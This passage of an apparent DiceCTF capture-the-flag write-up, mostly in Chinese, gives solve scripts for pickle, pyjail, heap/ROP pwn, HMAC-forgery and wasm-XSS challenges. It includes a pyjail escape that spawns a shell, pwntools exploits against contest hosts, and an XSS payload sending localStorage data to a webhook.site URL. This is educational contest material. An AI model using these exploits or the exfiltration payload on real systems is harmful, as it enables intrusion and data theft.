        for x, y in zip(ar, pfx):
            if x != y:
                return False

        for i, x in enumerate(ar[len(pfx) :]):
            if not (
                ord("a") <= x <= ord("z")
                or ord("0") <= x <= ord("9")
                or x == ord("_")
                or x == ord("-")
                or x == ord("}")
            ):
                return False
            if x == ord("}") and i + len(pfx) != len(ar) - 1:
                return False

        flag = b"dice{" + bytes(ar)
        print(flag)
        if flag.endswith(b"}"):
            if randomart(md5(flag).digest()) == hash_field:
                print("FOUND")
                exit()

    return True


known_field = randomart(b"dice{")
printart_num(known_field)
print()
printart_num(flag_field)
print()

x, y = find_value(known_field, AUG.index(b"E"))
print(x, y)
field = [[x - y for x, y in zip(r1, r2)] for r1, r2 in zip(flag_field, known_field)]
field[x][y] = AUG.index(b"S")
printart(field)
reverse_randomart(field, is_goodpath)

# use pypy3
# dice{unr4nd0m}

Vinegar

import pickle
import sys
import io

class SafeUnpickler(pickle.Unpickler):
	def find_class(self, module, name):
		raise pickle.UnpicklingError(f"HACKING DETECTED")

data = sys.stdin.buffer.readline()+b"dice{<REDACTED>}"
SafeUnpickler(io.BytesIO(data)).load()

可以輸入任意資料，然後會在後面接上 flag 之後去用 pickle load，不能呼叫任何 find_class。

去讀 pickle source code (Python version, C version) 可以看到 LONG1 會從 buffer 中拿一個 byte 當作長度 n，之後讀取 n bytes 用 little endian 當作數字 push 到 stack 上。可以利用這個讓它跳到 flag 的部份去讀取。

因為那些字元都算是亂來的，pickle 很容易出現 error，因此就能根據 error message 去猜可能的字元是什麼。這部分需要點自動結合人工去弄，還好 flag 長度不長，多花點時間是可以把它猜回來的。

我解這題時用的輔助腳本最後的狀態:

from pwn import *
import pickle
import io
import string
from collections import defaultdict
from functools import partial, lru_cache


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        raise pickle.UnpicklingError(f"HACKING DETECTED")


def get_err(c, prefix):
    # file = io.BytesIO(b"()\x88Kx" + bytes([c]) + b'*!@#$%^')
    file = io.BytesIO(
        b"()\x88Kx\x8a"
        + bytes([1 + len(prefix)])
        + b"\n"
        + prefix
        + bytes([c])
        + b"x" * 30
    )
    pkl = SafeUnpickler(file)
    try:
        pkl.load()
    except Exception as ex:
        import traceback

        return traceback.format_exc()


def build_dict(prefix):
    rev = defaultdict(list)
    for c in string.ascii_letters + string.digits + "{_}":
        err = get_err(ord(c), prefix)
        last = err.strip().split("\n")[-1]
        print(c, last)
        rev[last].append(c)
    return rev


context.log_level = "error"


# @lru_cache(maxsize=None)
def get_remote_err(idx):
    try:
        io = remote("mc.ax", 31774)
        # io = process(["python", "vinegar.py"])
        # io.sendline(b"\x95" + (2 + idx).to_bytes(8, "little") + b"j")
        io.sendline(b")\x8a" + bytes([1 + idx]))
        ret = io.recvallS()
        io.close()
        return ret
    except:
        pass


def get_local_err(idx, testflag):
    try:
        # io = remote("mc.ax", 31774)
        io = process(
            [
                "/home/maple3142/.asdf/installs/python/3.9.10/bin/python",
                "vinegar_test.py",
                testflag,
            ]
        )
        io.sendline(b")\x8a" + bytes([1 + idx]))
        ret = io.recvallS()
        io.close()
        # print(ret.encode())
        return ret
    except:
        import traceback

        traceback.print_exc()
        pass


# flag = b"dice{beh2P02199"
# rev = build_dict(flag)
# last = get_remote_err(len(flag)).strip().split("\n")[-1]
# print(last, rev.get(last, None))


# test flag

#  6: _pickle.UnpicklingError: unpickling stack underflow
#  7: _pickle.UnpicklingError: Memo value not found at index 50
#  8: but no persistent_load function was specified.
#  9: _pickle.UnpicklingError: Memo value not found at index 959525424
# 10: _pickle.UnpicklingError: Memo value not found at index 959525424
# 11: _pickle.UnpicklingError: Memo value not found at index 959525424
# 12: _pickle.UnpicklingError: invalid load key, '9'.

work_err1 = get_remote_err
work_err2 = partial(get_local_err, testflag=b"dice{beh2Ptj0219}")
work_err2 = partial(get_local_err, testflag=b"dice{beh2Qdj0219}")
for i in range(4, 9):
    print(i)
    print("R", work_err1(i).strip().split("\n")[-1])
    lo = work_err2(i).strip().split("\n")
    print("L", lo[-2])
    print(" ", lo[-1])
    print()

input("pause")

buf = bytearray(b"dice{buh2Qdj0219}")
for c in range(33, 123):
    # buf[10] = c
    buf[6] = c
    print(chr(c), bytes(buf).decode())
    # print("R", work_err1(i).strip().split("\n")[-1])
    for i in range(4, 9):
        try:
            lo = get_local_err(i, bytes(buf)).strip().split("\n")
            print(i)
            print("L", lo[-2])
            print(" ", lo[-1])
        except:
            import traceback

            traceback.print_exc()
    print()
# dice{buh2Qdj0219}

vinegar_test.py:

import pickle
import sys
import io


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        raise pickle.UnpicklingError(f"HACKING DETECTED")


data = sys.stdin.buffer.readline() + sys.argv[1].encode()
file = io.BytesIO(data)
try:
    SafeUnpickler(file).load()
except:
    import traceback

    traceback.print_exc()
    print(file.tell(), data[file.tell() :])

TI-1337 Silver Edition

#!/usr/bin/env python3
import dis
import sys

banned = ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"]

used_gift = False

def gift(target, name, value):
	global used_gift
	if used_gift: sys.exit(1)
	used_gift = True
	setattr(target, name, value)

print("Welcome to the TI-1337 Silver Edition. Enter your calculations below:")

math = input("> ")
if len(math) > 1337:
	print("Nobody needs that much math!")
	sys.exit(1)
code = compile(math, "<math>", "exec")

bytecode = list(code.co_code)
instructions = list(dis.get_instructions(code))
for i, inst in enumerate(instructions):
	if inst.is_jump_target:
		print("Math doesn't need control flow!")
		sys.exit(1)
	nextoffset = instructions[i+1].offset if i+1 < len(instructions) else len(bytecode)
	if inst.opname in banned:
		bytecode[inst.offset:instructions[i+1].offset] = [-1]*(instructions[i+1].offset-inst.offset)

names = list(code.co_names)
for i, name in enumerate(code.co_names):
	if "__" in name: names[i] = "$INVALID$"

code = code.replace(co_code=bytes(b for b in bytecode if b >= 0), co_names=tuple(names), co_stacksize=2**20)
v = {}
exec(code, {"__builtins__": {"gift": gift}}, v)
if v: print("\n".join(f"{name} = {val}" for name, val in v.items()))
else: print("No results stored.")

這題是個 pyjail，它會先 compile 後對 bytecode 做些檢查。有 jump 的話直接 exit，其他如果是 ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"] 之一的話就直接移除掉。另外 co_names 中有 __ 的也都會被替換掉。

執行環境一樣沒有正常的 __builtins__，不過它有給一個 gift 函數可以呼叫一次，裡面就是 setattr 而已。

從 dis 的官方文件可知它有個 CALL_METHOD 沒擋，所以先 gift.gift=gift 之後呼叫 gift.gift(x,y,z) 是可行的。

setattr 的目標其實也沒幾個，想一下就知道要想辦法改 gift.__code__ 去改 gift 的行為，所以目標是要獲得一個 code object。

測試一下可知 lambda x: 1 這樣的 expression 在 bytecode 中會被表示為

LOAD_CONST               0 (<code object <lambda> at...)
LOAD_CONST               1 ('<lambda>')
MAKE_FUNCTION            0

當它把 MAKE_FUNCTION 移除時 code object 就會殘留在 stack 上，所以要想辦法把 code object 拿出來才行。

繼續測試會發現 [1,lambda x:1] 會 compile 為

LOAD_CONST               0 (1)
LOAD_CONST               1 (<code object <lambda> at ...)
LOAD_CONST               2 ('<lambda>')
MAKE_FUNCTION            0
BUILD_LIST               2

當 MAKE_FUNCTION 被移除掉之後 BUILD_LIST 就會拿 <code object> 和 '<lambda>' 去產生 list，所以取 list 的第零項就能拿到 code object 了。

剩下就呼叫 gift.gift(gift, '__code__', co) 後再呼叫一次 gift.gift() 就能 escape 了。

gift.gift=gift;co=[1,lambda:exec('import os;os.system("sh")')][0];gift.gift(gift,'__code__', co);gift.gift()

# dice{i_sh0uldve_upgr4ded_to_th3_color_edit10n}

Pwn

interview-opportunity

簡單的 overflow 然後 ROP 從 GOT leak 出 libc 後再來一次，之後進 one gadget 拿 shell。

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

# context.log_level = "debug"

elf = ELF("./interview-opportunity_patched")
libc = ELF("./libc.so.6")

pop_rdi = 0x401313

# io = gdb.debug("./interview-opportunity_patched", "b *(main+101)\nc")
io = remote("mc.ax", 31081)
io.sendlineafter(
    b"DiceGang?\n",
    b"a" * 34 + flat([pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym["main"]]),
)
io.recvline()
io.recvline()
libc_base = int.from_bytes(io.recvn(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base


pop_rsi_r15 = 0x401311
io.sendlineafter(
    b"DiceGang?\n",
    b"a" * 34 + flat([pop_rsi_r15, 0, 0, libc_base + 0xCBD20]),
)
io.interactive()

# dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}

baby-rop

#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include "seccomp-bpf.h"

void activate_seccomp()
{
    struct sock_filter filter[] = {
        VALIDATE_ARCHITECTURE,
        EXAMINE_SYSCALL,
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(munmap),
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(close),
        ALLOW_SYSCALL(openat),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(newfstatat),
        ALLOW_SYSCALL(ioctl),
        ALLOW_SYSCALL(lseek),
        KILL_PROCESS,
    };

    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
    // method 1, use macro
    printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);

    // method 2, use gnu_get_libc_version 
    puts(gnu_get_libc_version());

    // method 3, use confstr function
    char version[30] = {0};
    confstr(_CS_GNU_LIBC_VERSION, version, 30);
    puts(version);

    return 0;
}

#define NUM_STRINGS 10

typedef struct {
    size_t length;
	char * string;
} safe_string;

safe_string * data_storage[NUM_STRINGS];

void read_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
    for(size_t j = 0; j < ptr->length; ++j) {
        fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
    }
    fprintf(stdout, "\n");
    fflush(stdout);
}

void free_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    free(ptr->string);
    free(ptr);
}

void write_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "enter your string: ");
    fflush(stdout);

    read(STDIN_FILENO, ptr->string, ptr->length);
}

void create_safe_string(int i) {

    safe_string * ptr = malloc(sizeof(safe_string));

    fprintf(stdout, "How long is your safe_string: ");
    fflush(stdout);
    scanf("%zu", &ptr->length);

    ptr->string = malloc(ptr->length);
    data_storage[i] = ptr;

    write_safe_string(i);

}

// flag.txt
int main() {

    get_libc();
    activate_seccomp();

    int idx;
    int c;
    
    while(1){
        fprintf(stdout, "enter your command: ");
        fflush(stdout);
        while((c = getchar()) == '\n' || c == '\r');

        if(c == EOF) { return 0; }

        fprintf(stdout, "enter your index: ");
        fflush(stdout);
        scanf("%u", &idx);

        if((idx < 0) || (idx >= NUM_STRINGS)) {
            fprintf(stdout, "index out of range: %d\n", idx);
            fflush(stdout);
            continue;
        }

        switch(c) {
            case 'C':
                create_safe_string(idx);
                break;
            case 'F':
                free_safe_string(idx);
                break;
            case 'R':
                read_safe_string(idx);
                break;
            case 'W':
                write_safe_string(idx);
                break;
            case 'E':
                return 0;
        }
    
    }
}

雖然名稱叫 ROP，不過題目卻是個傳統的 heap note 加上 seccomp 限制 ORW 之類的 syscall。另外 binary 沒有 PIE，還有 glibc 是 2.34。

它有個很明顯的 UAF，而使用的結構是:

typedef struct {
    size_t length;
	char * string;
} safe_string;

string 部分也是 malloc 來的，大小可控。所以讓 string = malloc(0x10) 就能有一樣的大小了。

free 的時候是先 free string 之後才是 struct 本身，所以產生四個 notes 之後 free 的話會變成這樣:

tcache 0x10: str3->s2->str2->s1->str1->s0->str0
unsorted bin: s3

// s means struct
// str means string

之後再建立 note 4 就有 s4=str3 和 str4=s2，所以寫入 str4 就能控制 s2，這樣就有任意讀和任意寫。

正常來說此時讀取 note 2 可以讀到其他 heap pointer，不過這題的 glibc 是 2.34，它在 2.32 之後為 tcache 加上了一個 safe linking 的保護，對 pointer 做點小小的 obfuscation。不過這已經夠讓我拿不到 heap address 了。

關鍵在於這題 PIE 沒開，所以直接從 GOT table 可以拿 libc，不過因為有 seccomp 所以只能 ORW。方法就是從 libc 的 _environ 讀取 char **environ 的 address，然後計算它和 main ret 的 offset 之後可以寫 ROP。剩下就 ROP 去讀 flag.txt 就搞定了。

from pwn import *


context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]


elf = ELF("./babyrop_patched")
libc = ELF("./libc.so.6")

# io = gdb.debug("./babyrop_patched", "b *(main+367)\nc")
io = remote("mc.ax", 31245)


def create_note(idx, sz, data):
    io.sendlineafter(b"command: ", b"C")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"safe_string: ", str(sz).encode())
    io.sendafter(b"string: ", data)


def read_note(idx):
    io.sendlineafter(b"command: ", b"R")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.recvuntil(b"bytes\n")
    return bytes.fromhex(io.recvlineS().strip().replace(" ", ""))


def write_note(idx, data):
    io.sendlineafter(b"command: ", b"W")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendafter(b"string: ", data)


def free_note(idx):
    io.sendlineafter(b"command: ", b"F")
    io.sendlineafter(b"index: ", str(idx).encode())


# setup
for i in range(4):
    create_note(i, 16, f"peko{i}".encode())
for i in range(4):
    free_note(i)
create_note(4, 16, flat([8, elf.got["puts"]]))

# leak libc
libc_base = int.from_bytes(read_note(2), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base

# leak stack
environ_addr = libc.sym["_environ"]
print(f"{environ_addr = :#x}")
write_note(4, flat([8, environ_addr]))
environ = int.from_bytes(read_note(2), "little")
print(f"{environ = :#x}")
main_ret = environ - 0x140
print(f"{main_ret = :#x}")

# write flag.txt to bss
buf = elf.bss() + 0x200
print(f"{buf = :#x}")
write_note(4, flat([len("flag.txt"), buf]))
write_note(2, b"flag.txt")

# generate rop
rop = ROP(libc)
pop_rax = rop.find_gadget(["pop rax", "ret"]).address
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx = rop.find_gadget(["pop rdx", "ret"]).address
syscall_ret = rop.find_gadget(["syscall", "ret"]).address


def syscall(rax, rdi, rsi, rdx):
    return [pop_rax, rax, pop_rdi, rdi, pop_rsi, rsi, pop_rdx, rdx, syscall_ret]


chain = []
chain += syscall(2, buf, 0, 0)
chain += syscall(0, 3, buf, 100)
chain += syscall(1, 1, buf, 100)
payload = flat(chain)

# write rop
write_note(4, flat([len(payload), main_ret]))
write_note(2, payload)

# exit to trigger rop
io.sendlineafter(b"command: ", b"E")
io.sendlineafter(b"index: ", b"0")

io.interactive()

# dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}

Rev

hyperlink

import json


def test_chain(links, start, end):
    current = start
    for link in links:
        current = int(''.join(
            str(int(current & component != 0))
            for component in link
        ), 2)
    return end == current & end


def main():
    try:
        with open('hyperlink.json', 'r') as f:
            data = json.load(f)
    except IOError:
        print('Could not open hyperlink.json')
        return

    print('Welcome to the chain building game.')
    print('Enter a chain and see if it works:')

    chain = input()

    legal_chars = set('abcdefghijklmnopqrstuvwxyz{}_')
    if any(c not in legal_chars for c in chain):
        print('Chain contains illegal characters!')
        return

    try:
        links = [data['links'][c] for c in chain]
        result = test_chain(links, data['start'], data['target'])
    except Exception:
        print('Something went wrong!')
        return

    if result:
        print('Chain works! Congratulations.')
    else:
        print('Oh no! Chain does not reach the target.')


if __name__ == '__main__':
    main()

其中 hyperlink.json 是個像這樣的檔案:

{
  "start": 11692013098828707274653979175577397281211070056584,
  "target": 703250224969939491157640855358987637009,
  "links": {
    "a": [164 numbers..],
	...,
	"_": [164 numbers..]
  }
}

讀程式碼可以知道它也算是一個 graph traversal，不過節點太多不可能爆破 (2^164)。

觀察一下它狀態的 bits 可發現它有點像狀態機，從初始狀態到結束狀態像是這樣:

start:
10000000000000000000000000000000000010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000
end: 
00000000000000000000000000000000001000010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001

隨便測試一些字元可以發現右邊那些 1000 可能會根據正確的字元變成 0100，之後再變成 0010，最後成為 0001。左邊的那個 1 單純只是一直向右移動而已，不管正確與否。

所以就想辦法把那些 1000 轉換成一個進度的值，一個爆破一個字元看看哪個字元給的進度值最高，雖然它沒辦法完全正確的還原 flag，但加上一些猜測也可以猜出 flag。

import json


def test_chain(links, start, end):
    current = start
    for link in links:
        current = int(
            "".join(str(int(current & component != 0)) for component in link), 2
        )
    return end == current & end


def step(cur, *links):
    for link in links:
        cur = int("".join(str(int(cur & component != 0)) for component in link), 2)
    return cur


with open("hyperlink.json", "r") as f:
    data = json.load(f)

print(len(data["links"]))
print(len(data["links"]["d"]))
# for x in data["links"]["w"]:
#     print(f"{x:0164b}")

print()
print(f"{data['start']:0164b}")
print(f"{step(data['start'],data['links']['d']):0164b}")
print(f"{step(data['start'],data['links']['d'],data['links']['i']):0164b}")
print(
    f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c']):0164b}"
)
print(
    f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e']):0164b}"
)
print()
print(
    f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e'],data['links']['{']):0164b}"
)
print(
    f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e'],data['links']['}']):0164b}"
)
print()
print(f"{data['target']:0164b}")
print()


def num2state(n):
    state_bits = f"{n:0164b}"[36:]
    return [
        int("".join(map(str, state_bits[i + 1 : i + 4][::-1])), 2)
        for i in range(0, len(state_bits), 4)
    ]


chars = "abcdefghijklmnopqrstuvwxyz{}_"
current = step(
    data["start"],
    data["links"]["d"],
    data["links"]["i"],
    data["links"]["c"],
    data["links"]["e"],
    data["links"]["{"],
    data["links"]["e"],
    data["links"]["v"],
    data["links"]["e"],
)
cur_state = num2state(current)
for c in chars:
    nxt = step(current, data["links"][c])
    state = num2state(nxt)
    g = sum(state)
    print(c, g)


def dfs(cur, cur_state, flag=""):
    print(flag)
    for c in chars:
        nxt = step(cur, data["links"][c])
        state = num2state(nxt)
        if any([x > y for x, y in zip(state, cur_state) if x > 0 and y > 0]):
            print(cur_state)
            print(state)
            print()
            dfs(nxt, state, flag + c)


cur = step(data["start"], data["links"]["d"])
# dfs(cur, num2state(cur), 'di')
flag = "d"
for _ in range(100):
    mx = 0
    mxc = None
    for c in chars:
        nxt = step(cur, data["links"][c])
        state = num2state(nxt)
        g = sum(state)
        if c == "e":
            g -= len(flag)
        if g > mx:
            mx = g
            mxc = c
    flag += mxc
    cur = step(cur, data["links"][mxc])
    print(flag)

# dice{everything_is_linear_algebra}

Web

knock-knock

const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});

這題 flag 存在第 0 個 notes 中，不過需要一個使用 secret signed 過的 token 才能存取。可以注意到它 secret 是 secret-${crypto.randomUUID}，根本沒有呼叫到，所以 crypto.randomUUID 轉換成字串的時候其實只是它的 source code。

因為 Dockerfile 有給版本是 node:17.4.0-buster-slim，所以用已知的 secret 可以 sign 目標的 token 拿 flag。

const crypto = require('crypto')

const secret = `secret-${crypto.randomUUID}`
const id = '0'
console.log(crypto.createHmac('sha256', secret).update(id).digest('hex'))

// https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
// dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

blazingfast

index.html 中的 js:

let blazingfast = null;

function mock(str) {
	blazingfast.init(str.length);

	if (str.length >= 1000) return 'Too long!';

	for (let c of str.toUpperCase()) {
		if (c.charCodeAt(0) > 128) return 'Nice try.';
		blazingfast.write(c.charCodeAt(0));
	}

	if (blazingfast.mock() == 1) {
		return 'No XSS for you!';
	} else {
		let mocking = '', buf = blazingfast.read();

		while(buf != 0) {
			mocking += String.fromCharCode(buf);
			buf = blazingfast.read();
		}

		return mocking;
	}
}

function demo(str) {
	document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {	
	blazingfast = instance.exports;

	document.getElementById('demo-submit').onclick = () => {
		demo(document.getElementById('demo').value);
	}

	let query = new URLSearchParams(window.location.search).get('demo');

	if (query) {
		document.getElementById('demo').value = query;
		demo(query);
	}
})

wasm module:

int length, ptr = 0;
char buf[1000];

void init(int size) {
	length = size;
	ptr = 0;
}

char read() {
	return buf[ptr++];
}

void write(char c) {
	buf[ptr++] = c;
}

int mock() {
	for (int i = 0; i < length; i ++) {
		if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
			buf[i] += 32;
		}

		if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
			return 1;
		}
	}

	ptr = 0;

	return 0;
}

這題目標是要想辦法 XSS 拿 localStorage.flag。可以看到說它從 query string 中拿字串，然後使用 C 寫的 wasm 做 filter 加上改 MoCkInG CaSe 而已。wasm 那邊會直接拒絕掉所有包含 <>&" 的字串。

題目關鍵在於這邊:

	blazingfast.init(str.length);

	if (str.length >= 1000) return 'Too long!';

	for (let c of str.toUpperCase()) {
		if (c.charCodeAt(0) > 128) return 'Nice try.';
		blazingfast.write(c.charCodeAt(0));
	}

在 unicode 中一個字串 uppercase 後長度是有可能產生變化的，例如 'ß'.toUpperCase() === 'SS'。所以如果 str 是 n 個 ß，它實際上會寫入 2n 個字元。

而 mock 中的 length 是來自初始的 str.length，所以是 n，因此後面的字元其實都不會被 filter 到。

所以就在 xss payload 前面塞長度大於等於 payload 數量的 ß 就能繞過檢查了。

# eval(location.hash.slice(1)) and url escape to bypass uppercase
payload = "<img src=1 onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x61;&#x73;&#x68;&#x2e;&#x73;&#x6c;&#x69;&#x63;&#x65;&#x28;&#x31;&#x29;&#x29;>"
print("ß" * len(payload) + payload)
# upper(ß) = SS

# https://blazingfast.mc.ax/?demo=%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%3Cimg%20src%3D1%20onerror%3D%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3E#location.href='https://webhook.site/3ff901d8-82eb-4f29-9b4b-7a9598250f9d?flag='+localStorage.flag
# dice{1_dont_know_how_to_write_wasm_pwn_s0rry}

Crypto#

baby-rsa#

rejected#

*commitment-issues#

*correlated#

Misc#

undefined#

sober-bishop#

Vinegar#

TI-1337 Silver Edition#

Pwn#

interview-opportunity#

baby-rop#

Rev#

hyperlink#

Web#

knock-knock#

blazingfast#